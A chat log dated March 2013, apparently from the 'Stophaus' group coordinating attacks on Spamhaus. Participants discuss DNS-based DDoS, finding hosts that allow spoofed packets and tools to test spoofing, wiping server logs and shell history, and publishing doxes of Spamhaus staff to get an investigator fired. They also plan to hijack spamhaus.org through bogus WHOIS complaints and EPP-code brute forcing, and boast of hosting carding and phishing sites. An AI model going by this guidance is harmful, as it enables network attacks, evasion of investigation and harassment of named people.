[18.03.2013 14:15:44] narko: i am now [18.03.2013 14:16:01] Yuri: i install irc [18.03.2013 14:16:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just take the source and drop a bunch of void's in there where it had unsigned char functions :P [18.03.2013 14:16:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nobody needs that crap anyway.. ips of other users that is [18.03.2013 14:16:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the ones that can 'encrypt' the whois/who are no use... as those are quite easy to decode [18.03.2013 14:16:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: only 4 billion possibilities after all [18.03.2013 14:17:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and you already know the ones you're connecting from [18.03.2013 14:17:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so its quite easy to figure out the keys on those [18.03.2013 14:17:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so just remove it -completely- from the code :P [18.03.2013 14:17:33] narko: then i will make a socks5 on the server [18.03.2013 14:17:38] narko: for everyone to add in their irc client [18.03.2013 14:17:39] narko: lol [18.03.2013 14:17:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the same goes for access and error logs on the webserver of the forum :P [18.03.2013 14:17:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: /dev/null [18.03.2013 14:18:11] -= Darwick =-: i lines should make this "secure" [18.03.2013 14:18:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (and utmp, wtmp, btmp, lastlog, syslog, .bash_history, .ssh, etc as well obviously ;) [18.03.2013 14:18:52] -= Darwick =-: if you give i lines only for the ip addresses which are used by us, then nobody else can connect [18.03.2013 14:19:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.. either that or just put an iptables nat rule before the ircd :P [18.03.2013 14:19:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so we all have the same ip lol [18.03.2013 14:19:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 14:19:47] narko: i dont know about the website [18.03.2013 14:19:48] narko: but [18.03.2013 14:19:57] narko: the VM for the chat servers is running on a drive with www.diskcryptor.net [18.03.2013 14:22:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think i finally get the dns packet query lol... the numbers are just the length of the next field until the dot... :P [18.03.2013 14:22:12] narko: and i'm running skype portable on another encrypted drive on a server :P [18.03.2013 14:22:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: why oh why... isn't that documented like anywhere lol [18.03.2013 14:22:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.. that makes it rather easy to ehm... expand the code a bit now lol [18.03.2013 14:22:55] narko: your messages are showing up [18.03.2013 14:23:01] narko: minutes later than you write them [18.03.2013 14:23:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (also need to move filling out the packet structure that doesn't change outside of the while 1 loop anyway :P [18.03.2013 14:23:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its fastahrrr [18.03.2013 14:23:57] Yuri: ok, we will move all logs to /dev/bull [18.03.2013 14:24:40] Валерий Лёлин: respect to "who do that spamhaus down" [18.03.2013 14:27:08] Yuri: give some serves to narko [18.03.2013 14:29:08] Yuri: can't connect ot irc [18.03.2013 14:29:12] WebExxpurts: anyone able to connect to irc.. mirc client cant do [18.03.2013 14:29:22] narko: did you set port 7000? [18.03.2013 14:29:23] WebExxpurts: 10052 software caused [18.03.2013 14:29:26] WebExxpurts: yes port 7000 [18.03.2013 14:29:28] narko: 6667 isnt open [18.03.2013 14:29:29] WebExxpurts: SSL to any [18.03.2013 14:29:30] narko: and ssl? [18.03.2013 14:29:59] narko: try npow [18.03.2013 14:31:10] Yuri: yes. ssl is any port 7000 [18.03.2013 14:31:32] WebExxpurts: connection refused [18.03.2013 14:31:36] Yuri: - * Unable to connect to server (Connection refused) - * Connect retry #39 irc.stophaus.com (7000) - * Unable to connect to server (Connection refused) - * Connect retry #40 irc.stophaus.com (7000) [18.03.2013 14:32:13] WebExxpurts: same error [18.03.2013 14:32:18] WebExxpurts: which client u using yuri? [18.03.2013 14:32:27] twisted: # telnet irc.stophaus.com7000 Trying 91.229.77.62... telnet: connect to address 91.229.77.62: Connection refused telnet: Unable to connect to remote host [18.03.2013 14:32:42] twisted: client is irrelevant, it's not up :P [18.03.2013 14:32:49] narko: try ni [18.03.2013 14:32:58] twisted: yep up now [18.03.2013 14:32:59] narko: iptables -F doesn't remove prerouting rules [18.03.2013 14:33:12] narko: / nat rules [18.03.2013 14:33:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: yeah... thats called... shitty gprs :P [18.03.2013 14:33:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gprs, it makes telex look modern. [18.03.2013 14:33:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: especially when combined with bluetooth [18.03.2013 14:34:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: actually its still loading the friends list and thinks you're all offline [18.03.2013 14:37:47] WebExxpurts: u guys able to connect? [18.03.2013 14:46:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: [12:43:56] Xennt: Op Twitter: Bert-Jan Dokter @bjdokter @LucRossini are you aware that the spamhaus IP is DDos-ing. others? [13:42:47] Erik Bais: Bert-Jan Dokter @bjdokter 4 ICT nerds like me: #spamhaus (anti spam project) ligt al meer dan 48 uur 'plat' door DDoS attacks. [12:44:07] Xennt: Twitter info op dat profiel : @bjdokter PvdA | Raadslid Oldebroek | DJ @KiKstartFM | YouTube/FB/Twitter: kikstartfm & bjdokter | ICT | Jeugdzorg | Dad of 2 | Hubby of 1 | Humor | Respect | Relax [12:44:20] Xennt: (cool) [18.03.2013 14:46:21] narko: yes [18.03.2013 14:46:27] narko: theres me and darwick in here [18.03.2013 14:46:56] NM: Who knows irc client for iPhone? [18.03.2013 14:49:22] narko: IRChon [18.03.2013 14:49:28] narko: dont know if you can tell it allow self-signed [18.03.2013 14:50:26] NM: Thx:) [18.03.2013 14:50:58] narko: i am going to buy lunch, will be back soon. IRC is up :) [18.03.2013 14:51:04] Yuri: IRC server works or not? [18.03.2013 14:51:17] narko: well it is only me and darwick in irc [18.03.2013 14:51:28] narko: but he is here so yes [18.03.2013 14:51:28] Yuri: Connecting to irc.stophaus.com (7000) - * [10053] Software caused connection abort - * Disconnected - * Connect retry #1 irc.stophaus.com (7000) - * [10053] Software caused connection abort - * Disconnected - * Connect retry #2 irc.stophaus.com (7000) - * [10053] Software caused connection abort [18.03.2013 14:51:30] NM: Can't find irchon in AppStore ;( [18.03.2013 14:54:09] narko: others try to connect,if there is problems i will check in 30-35min now i am leaving [18.03.2013 14:57:36] WebExxpurts: no dont work pls check [18.03.2013 14:57:44] NM: I connected [18.03.2013 14:57:50] NM: Get motd [18.03.2013 14:57:50] WebExxpurts: huh [18.03.2013 14:58:00] NM: But can't write)) [18.03.2013 14:59:00] NM: *** You are connected to irc.stophaus.com with TLSv1-AES128-SHA-128bits [18.03.2013 15:08:06] -= Darwick =-: you can write [18.03.2013 15:08:11] -= Darwick =-: and I see what you wrote [18.03.2013 15:08:26] -= Darwick =-: anybody who has problem with mirc, first of all, install openssl libs [18.03.2013 15:08:29] WebExxpurts: mirc client not working [18.03.2013 15:08:40] WebExxpurts: windows [18.03.2013 15:08:44] -= Darwick =-: and use the connection like this: /serverirc.stophaus.com +7000 [18.03.2013 15:08:50] Mark - Evgeny Pazderin: chatzilla not work also [18.03.2013 15:08:58] Mark - Evgeny Pazderin: even /sslserver irc.stophaus.com7000 [18.03.2013 15:11:57] -= Darwick =-: I don't use chatzilla at all so I can't tell more about that [18.03.2013 15:12:06] -= Darwick =-: but I use mirc in windows and it works for me [18.03.2013 15:12:09] Mark - Evgeny Pazderin: ok, got mirc working [18.03.2013 15:13:28] WebExxpurts: how [18.03.2013 15:13:54] -= Darwick =-: http://www.mirc.com/ssl.html [18.03.2013 15:13:58] -= Darwick =-: there is the howto [18.03.2013 15:15:13] Yuri: downloading ssl.... [18.03.2013 15:15:59] Mark - Evgeny Pazderin: 2 WebExxpurts mirc just connected [18.03.2013 15:16:06] Mark - Evgeny Pazderin: I don't installed ssl libs [18.03.2013 15:16:18] Mark - Evgeny Pazderin: only mirc on windows7 [18.03.2013 15:16:59] Yuri: br... i can't connect [18.03.2013 15:17:15] WebExxpurts: k [18.03.2013 15:17:22] WebExxpurts: work [18.03.2013 15:17:22] Yuri: got it when typed manualy [18.03.2013 15:19:03] Yuri: that help me [18.03.2013 15:19:09] WebExxpurts: yep [18.03.2013 15:19:09] -= Darwick =-: :) [18.03.2013 15:19:32] -= Darwick =-: I made it this way yeah [18.03.2013 15:19:46] -= Darwick =-: I don't like channel box popups so I type manually everything [18.03.2013 15:20:25] WebExxpurts: guys im done.. leaving this group.. bye [18.03.2013 15:20:26] Yuri: so everybody can go into that irc chat ? [18.03.2013 15:20:44] Yuri: keep staying here for sometime untill all come to irc and it's ok [18.03.2013 15:20:48] *** WebExxpurts quit *** [18.03.2013 15:20:48] Yuri: just for information [18.03.2013 15:21:51] Yuri: ----------------------------------------------- FOR EVERYBODY: we moved to IRC (under SSL) /server irc.stophaus.com +7000 #stophaus DON"T WRITE HERE, GO TO IRC ----------------------------------------------- [18.03.2013 15:25:26] Cali: Smart move! [18.03.2013 15:28:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://pastebin.com/UAgfwiyC [18.03.2013 15:37:12] Cali: Connection failed. Error: Certificate is not yet valid? [18.03.2013 15:37:15] Cali: the certificate expired lol [18.03.2013 15:37:22] narko: you are using [18.03.2013 15:37:24] narko: xchat? [18.03.2013 15:37:37] Cali: yeh [18.03.2013 15:37:39] narko: restart it [18.03.2013 15:38:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: website working already :P [18.03.2013 15:38:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 15:38:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ?!? [18.03.2013 15:45:08] narko: no [18.03.2013 15:45:10] narko: it says error [18.03.2013 15:45:10] narko: :( [18.03.2013 16:01:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Wil je die Carel van Straten eens goed dwars zitten ? dan moet je vooral veel de link met Accenture gaan leggen ... Dan is hij daar zo de laan uit ... Carel van Straten http://au.linkedin.com/in/carelvanstraten Cyberthreat Investigator, Spamhaus. Presenter Bio: Carel is an investigator at The Spamhaus Project [18.03.2013 16:01:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or in english [18.03.2013 16:01:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if you wanna bug carel van straten, then link him to accenture, then they'll fire him [18.03.2013 16:08:07] narko: who are all these people registering on web hosting talk [18.03.2013 16:08:13] narko: Stophaus.org which is claim to be non profitable organization in fact which is not. Recently Russian government declared stophaus as illegal This is russian link but you can use google translator Who the **** cares what's illegal in Putinstan! [18.03.2013 16:08:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think they mean 'spamhaus.org' [18.03.2013 16:08:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: notstophaus.org :P [18.03.2013 16:09:12] NM: Haha)) [18.03.2013 16:09:28] NM: Little mistake:) [18.03.2013 16:09:44] Antitheist: no i think they meant stophaus [18.03.2013 16:09:52] Antitheist: since they said that edataking messed up mysql [18.03.2013 16:09:57] Antitheist: so ... :P [18.03.2013 16:10:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: make it so that on the forum it does not require login to see the d0x on spamhaus employees [18.03.2013 16:10:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so it ends up in google and everyone can just click [18.03.2013 16:11:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: including 'other employers' :P [18.03.2013 16:13:15] narko: spamhaus.org is still #1 for spamhaus in google [18.03.2013 16:13:20] narko: although it's not accessible for 3 days [18.03.2013 16:14:05] narko: Bert-Jan Dokter '@bjdokter @LucRossini are you aware that the spamhaus IP is DDos-ing. others? [18.03.2013 16:14:13] narko: dns attack [18.03.2013 16:14:14] narko: ;) [18.03.2013 16:14:14] Antitheist: do you mind if we put spamhaus metatags on stophaus? [18.03.2013 16:14:24] Antitheist: so we can come up first on google soon :D [18.03.2013 16:15:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep [18.03.2013 16:15:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just do it, and open the whole god damn thing up for googlebot [18.03.2013 16:15:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if there is an rrs plugin for this forum, also submit that to google news indexers :P [18.03.2013 16:15:55] narko: steal their domain spamhaus.org [18.03.2013 16:15:59] narko: can you brute force epp codes? [18.03.2013 16:16:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well... just file an icann udrp procedure, as in some of their domains 'the spamhaus project limited' is still there [18.03.2013 16:16:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and either way, none of the phonenumbers nor addresses work [18.03.2013 16:16:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then their spamhaus.org is bye bye [18.03.2013 16:17:04] narko: when I entered fake details into a domain [18.03.2013 16:17:13] narko: i was only required to upadte to real [18.03.2013 16:17:16] narko: my domain was not suspended [18.03.2013 16:17:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah... but in order for that to happen... the email address must work -first- :P [18.03.2013 16:17:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 16:17:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if it doesn't they'll never get the notice haha [18.03.2013 16:17:41] Antitheist: do you know if the spamhaus folks are talking about the issue on some open community? [18.03.2013 16:17:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and then the nameservers will just be set to 'parked' [18.03.2013 16:17:47] narko: well their login email for gandi.net must be real [18.03.2013 16:17:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after a few weeks [18.03.2013 16:17:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its mailed to the whois contacts [18.03.2013 16:18:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not to the login email [18.03.2013 16:18:11] narko: let's do that [18.03.2013 16:18:11] narko: lol [18.03.2013 16:18:58] Alex Optik: * Connect retry #1 irc.stophaus.com (7000) - * [10053] Software caused connection abort - * Disconnected - * Connect retry #2 irc.stophaus.com (7000) - * [10053] Software caused connection abort - * Disconnected [18.03.2013 16:19:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah its ssl. [18.03.2013 16:19:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same here. [18.03.2013 16:19:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: both with irssi and ircII [18.03.2013 16:19:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: both of which should be linked with openssl... as they're ubuntu default packages [18.03.2013 16:20:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: one of em nags something about an invalid file descriptor and dies the other one just keeps reconnecting [18.03.2013 16:25:54] narko: Your report information is as follows: ############################################ Submitted: Mon, 18 Mar 2013 14:25:44 UTC Domain: spamhaus.org ############################################ PROBLEM REPORT Registrant Data Name: No such person or entity Address: Comment: Spamhaus Hostmaster is a fake name. Administrative Contact Data Name: No such person or entity Address: Phone: Incorrect phone Fax: Fax is missing Email: Incorrect email Comment: Logistics Manager is a fake name. The phone number is fake and does not connect. Fax is missing. Email address is fake and bounces. Technical Contact Data Name: Misspelled name Address: Phone: Incorrect phone Fax: Fax is missing Email: Incorrect email Comment: Logistics Manager is a fake name. The phone number is fake and does not connect. Fax is missing. Email address is fake and bounces. Registration Dates Create Date: Comment: Expiration Dates Expire Date: Comment: [18.03.2013 16:26:45] narko: Your report concerning whois data inaccuracy regarding the domain spamhaus.org has been confirmed. You will receive an email with further details shortly. Thank you. [18.03.2013 16:29:26] narko: Any future correspondence sent to ICANN must contain your report ID number. Please allow 45 days for ICANN's WDPRS processing of your Whois inaccuracy claim. This 45 day WDPRS processing cycle includes forwarding the complaint to the registrar for handling, time for registrar action and follow-up by ICANN if necessary. [18.03.2013 16:29:33] narko: 45 days? ? |-) [18.03.2013 16:29:51] Yuri: no. write to there registartor. [18.03.2013 16:29:54] Yuri: of the domain [18.03.2013 16:29:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: LOL [18.03.2013 16:30:06] Yuri: we have a lot of domains suspended illegaly by spamhaus requests. [18.03.2013 16:30:16] narko: .ru domains or american? [18.03.2013 16:30:26] Yuri: americans [18.03.2013 16:30:32] Yuri: enom.com namecheap.com [18.03.2013 16:30:34] Yuri: even good domains [18.03.2013 16:30:52] eDataKing: I like ahnames [18.03.2013 16:30:57] eDataKing: EvoNames EvoPlus [18.03.2013 16:30:57] Yuri: just becouse there found them in such lists like spamhaus do: just list domains on the IP range [18.03.2013 16:31:05] narko: i am using internetbs.net :) they do not make problems [18.03.2013 16:31:17] eDataKing: only had that issue with one brand, Mail Mascot. [18.03.2013 16:31:24] eDataKing: But that was a poisoned brand anyway [18.03.2013 16:31:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its not wdpr that you want, its the udpr procedure [18.03.2013 16:31:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats faster :P [18.03.2013 16:31:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just file a bunch of both lol [18.03.2013 16:31:47] eDataKing: internet.bs recently started suspending but not often [18.03.2013 16:32:08] narko: they wrote this to me [18.03.2013 16:32:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh that, and their email doens't work at all atm haha [18.03.2013 16:32:27] narko: about a bullshit abuse complaint 'the owner of this domain scammed me' [18.03.2013 16:32:27] eDataKing: AHNames is Advanced Hosters [18.03.2013 16:32:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so they can't respond [18.03.2013 16:32:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 16:32:31] narko: Please see the below complaint and reply directly to the complainer. Please add us in CC when answering. If we see no answer within 24 hours we might have no choice but to suspend the domain. [18.03.2013 16:32:46] eDataKing: people in Russia may know that host for a certain forum they host and sponsor in Russian [18.03.2013 16:32:57] narko: Advanced hosters! [18.03.2013 16:33:02] narko: are they an option for hosting spoof servres? [18.03.2013 16:33:09] eDataKing: yes, they have a registrar [18.03.2013 16:33:12] eDataKing: ahnames.com [18.03.2013 16:33:59] eDataKing: free privacy for $8.25 USD and never had any issue outside the suspension of mailmascot.com after transferring it to them [18.03.2013 16:34:30] eDataKing: Spamhaus begged them to do it because I couldn't transfer it again for at least 90 days (ICANN) and they used that time to attack. [18.03.2013 16:35:11] Antitheist: try webnames.ru [18.03.2013 16:35:30] Antitheist: they never suspended any of my domains [18.03.2013 16:35:52] Antitheist: also naunet.ru, but they became very bad in terms of support [18.03.2013 16:36:58] Antitheist: narko - is there any test i can make to see if the provider allows spoof? i have some windows boxes around [18.03.2013 16:37:09] narko: yes [18.03.2013 16:37:28] narko: http://www.softpedia.com/get/Network-Tools/Misc-Networking-Tools/UDPSZ.shtml [18.03.2013 16:37:29] narko: download this tool [18.03.2013 16:37:35] narko: it will allow you to send a packet with a spoofed source [18.03.2013 16:37:45] narko: then you can use wireshark/tcpdump/etc to see if it reach the destination [18.03.2013 16:37:56] Antitheist: well i could do that with hping [18.03.2013 16:38:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you can just do that iwth a file in /proc/net or netcat actually [18.03.2013 16:38:13] Antitheist: i will correct my question - "effectively" spoof the packets that you need [18.03.2013 16:38:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wait windows [18.03.2013 16:38:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 16:38:23] Antitheist: CB3ROB he needs windows :/ [18.03.2013 16:38:29] Валерий Лёлин: np [18.03.2013 16:39:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well, as for leaseweb.. leaseweb doesn't filter spoofed source -within- their peerings [18.03.2013 16:39:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: is just global transit thats filtered with them [18.03.2013 16:39:33] narko: they change the ip back to your real server ip [18.03.2013 16:39:38] narko: you will ddos your own server if you try this attack at leaseweb [18.03.2013 16:39:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm [18.03.2013 16:39:50] Antitheist: what about root.lu? [18.03.2013 16:39:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: very creative of them [18.03.2013 16:39:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 16:40:21] Antitheist: and nforce [18.03.2013 16:40:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nforce barely has its own asn [18.03.2013 16:40:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think they still have over half of their stuff on other networks [18.03.2013 16:40:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they used to have everything at leaseweb [18.03.2013 16:40:50] narko: nforce and webazilla both wanted something like 500-600eur per server for 100tb [18.03.2013 16:41:13] Валерий Лёлин: yuri says dedi needed [18.03.2013 16:41:14] Antitheist: serverius? [18.03.2013 16:41:23] narko: dont know [18.03.2013 16:41:25] Валерий Лёлин: withous spoof check [18.03.2013 16:41:26] narko: but serverius is only colo [18.03.2013 16:41:31] Antitheist: p.s. checked root.lu? [18.03.2013 16:41:36] Antitheist: i have colo in serverius [18.03.2013 16:41:43] narko: no i havent tried root.lu [18.03.2013 16:41:45] narko: i dont like them [18.03.2013 16:41:53] narko: they tried to sent debt collectors to me [18.03.2013 16:41:59] narko: :x [18.03.2013 16:42:01] Antitheist: lol? [18.03.2013 16:42:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 16:42:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah as if thats gonna work in another country haha [18.03.2013 16:42:40] Antitheist: like those people with ski masks and some baseball bats or.. [18.03.2013 16:42:46] narko: i dont know [18.03.2013 16:42:56] narko: it was a 45 euro server and i did not give them a 14 days notice for cancellation [18.03.2013 16:42:59] narko: so they asked payment for next month [18.03.2013 16:43:04] narko: then filed a report with some collection agency [18.03.2013 16:43:04] narko: lol [18.03.2013 16:43:27] Antitheist: actually they still didnt disconnect one of my server that i didnt pay since december [18.03.2013 16:43:42] Antitheist: since their fucking webmoney merchant is broken [18.03.2013 16:43:49] Antitheist: i have a 600eur debt there [18.03.2013 16:44:31] Antitheist: so i can try installing windows on it [18.03.2013 16:44:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they're that cheap? [18.03.2013 16:44:45] narko: udpsz runs on linux [18.03.2013 16:44:48] narko: for testing spoofing [18.03.2013 16:45:10] narko: serverius is probably not blocked spoof [18.03.2013 16:45:17] Antitheist: yes they are 150euro per month including a real 1gbit link [18.03.2013 16:45:21] Antitheist: limited to 10tb tho [18.03.2013 16:45:23] narko: they previously hosted the company KoDDOS with carding sites, phishing sites, ponzi sites, etc.. [18.03.2013 16:45:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: how the hell do they run a profit [18.03.2013 16:45:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 16:45:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah and the name "KoDDOS" didn't give it away [18.03.2013 16:46:28] narko: serverius hosted them [18.03.2013 16:46:53] narko: and it still had the @serverius.com abuse addresses on the ips but the carding/phishing/hyip stayed up [18.03.2013 16:47:13] Antitheist: yes serverius are pretty bp unless you violate the dutch laws [18.03.2013 16:47:22] narko: credit card fraud is legal? [18.03.2013 16:47:34] Antitheist: its not illegal to host them [18.03.2013 16:47:38] narko: lol [18.03.2013 16:47:40] Antitheist: its illegal to buy or whatever [18.03.2013 16:47:49] Antitheist: as a hoster im not suppossed to care [18.03.2013 16:48:09] narko: some of my customers with illegal sites [18.03.2013 16:48:16] narko: make it show internal server error unless the referrer is google [18.03.2013 16:48:16] narko: lol [18.03.2013 16:48:21] Cali: we have carding boards and it is perfectly legal. [18.03.2013 16:48:28] Antitheist: if you will call them illegal - you will be like spamhaus :D [18.03.2013 16:48:38] narko: I want more illegal sites [18.03.2013 16:48:46] narko: the dirtiest sites i have is only online pharmacies [18.03.2013 16:48:47] narko: :( [18.03.2013 16:49:22] Antitheist: i host many cc shops, they even appeared on krebs blog :D [18.03.2013 16:49:27] narko: where? [18.03.2013 16:49:30] narko: ukraine? [18.03.2013 16:49:46] Antitheist: HK [18.03.2013 16:49:50] Cali: Ukraine here. [18.03.2013 16:49:50] Antitheist: sunnyvision [18.03.2013 16:50:02] narko: i am using NL [18.03.2013 16:50:04] narko: lol [18.03.2013 16:50:08] Antitheist: will voxility allow spoof? [18.03.2013 16:50:14] narko: i dont know [18.03.2013 16:50:20] Yuri: we could test. [18.03.2013 16:50:49] Yuri: antitheist - ask them some server for test, 100tb [18.03.2013 16:50:57] Antitheist: vox? [18.03.2013 16:51:03] Yuri: yes [18.03.2013 16:51:21] Antitheist: narko, any expeirience with them? [18.03.2013 16:51:33] narko: probably not blocked [18.03.2013 16:51:42] narko: all the morons at hackforums are selling their "100% bp hosting" from voxility [18.03.2013 16:51:45] Yuri: but just don't do much flood from one server [18.03.2013 16:52:08] Antitheist: so i prefer to go with qirus.eu [18.03.2013 16:52:13] Cali: I don't understand how voxility gets customers? [18.03.2013 16:52:19] Yuri: if you do avarage traffic like sin (x) then all fine [18.03.2013 16:52:20] Antitheist: its clean serverius links [18.03.2013 16:52:25] narko: voxility's only customers are foreigners hosting warez boards [18.03.2013 16:52:38] narko: i've never seen an actual romanian or legal site hosted at voxility [18.03.2013 16:52:45] NM: Is irc closed? [18.03.2013 16:52:54] narko: the password is stevelinford [18.03.2013 16:53:05] NM: Thx [18.03.2013 16:53:07] Yuri: bad password. [18.03.2013 16:53:11] Yuri: let's do endspamhaus [18.03.2013 16:53:16] Yuri: or fuckspamhaus [18.03.2013 16:53:20] Yuri: it's more positive :) [18.03.2013 16:53:29] Antitheist: or fucklinford :) [18.03.2013 16:53:38] Antitheist: fuckspamhaus is damn too obvious [18.03.2013 16:53:57] narko: * narko sets channel keyword to fucklinford [18.03.2013 16:55:09] twisted: k add me back in this channel when sensible stuff comes up [18.03.2013 16:55:10] eDataKing: LMAO! [18.03.2013 16:55:17] *** twisted quit *** [18.03.2013 16:55:31] narko: yes lol [18.03.2013 16:55:41] narko: spamhaus IPs are making millions of queries to random open resolvers;) [18.03.2013 16:55:46] eDataKing: what was up with twisted? [18.03.2013 16:55:49] Mastermind of Possibilities: Who is twisted? [18.03.2013 16:55:53] narko: german police are scary [18.03.2013 16:56:02] narko: my friend in germany was raided by the police for carding a video game [18.03.2013 16:56:06] eDataKing: twisted: <<< k add me back in this channel when sensible stuff comes up twisted has left [18.03.2013 16:56:23] Cali: Guys, we've got IRC let's use that. [18.03.2013 16:56:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz [18.03.2013 16:56:28] Antitheist: who are the guys that never posted msgs here? [18.03.2013 16:56:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: good question [18.03.2013 16:56:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: whis engin rencber for one thing [18.03.2013 16:56:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 16:57:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and dufus_svk [18.03.2013 16:57:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and darwick [18.03.2013 16:57:19] eDataKing: someone should weed the garden. [18.03.2013 16:57:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can't [18.03.2013 16:57:46] eDataKing: oh [18.03.2013 16:59:01] NM: Can't connect( [18.03.2013 16:59:12] eDataKing: darwick came on yesterday and my comprehension was that it was another poster changing his name. [18.03.2013 16:59:22] eDataKing: I'll scroll back and look [18.03.2013 17:00:28] narko: . /join #stophaus fucklinford [18.03.2013 17:01:10] -= Darwick =-: ? [18.03.2013 17:01:18] Yuri: i am get in [18.03.2013 17:01:41] NM: Shit [18.03.2013 17:01:56] NM: Stevelinford is pass? [18.03.2013 17:02:05] narko: тщ [18.03.2013 17:02:09] narko: no [18.03.2013 17:02:10] narko: it is [18.03.2013 17:02:11] narko: fucklinford [18.03.2013 17:02:57] NM: Error 475 [18.03.2013 17:03:19] Alex Optik: Engin Rencber seems is not here right now [18.03.2013 17:03:29] Alex Optik: he is good man [18.03.2013 17:03:39] Alex Optik: i was working with him more than a year [18.03.2013 17:03:50] -= Darwick =-: alex, he left the group yesterday [18.03.2013 17:03:51] Alex Optik: in his dc in turkey [18.03.2013 17:03:57] Alex Optik: who? [18.03.2013 17:04:03] Alex Optik: Engin Rencber> [18.03.2013 17:04:05] Alex Optik: ? [18.03.2013 17:04:14] -= Darwick =-: yeah or someone with similar name :) [18.03.2013 17:04:18] Alex Optik: no [18.03.2013 17:04:22] Alex Optik: Marcel left [18.03.2013 17:04:26] Alex Optik: from germany [18.03.2013 17:04:33] -= Darwick =-: agh yeah you right, sorry [18.03.2013 17:04:36] Alex Optik: optimate-servers.de [18.03.2013 17:05:08] Alex Optik: dufus_svk [18.03.2013 17:05:12] Alex Optik: man from slovakia [18.03.2013 17:05:20] Alex Optik: was providing to me servers too [18.03.2013 17:05:22] Alex Optik: for spamhaus [18.03.2013 17:05:32] Alex Optik: 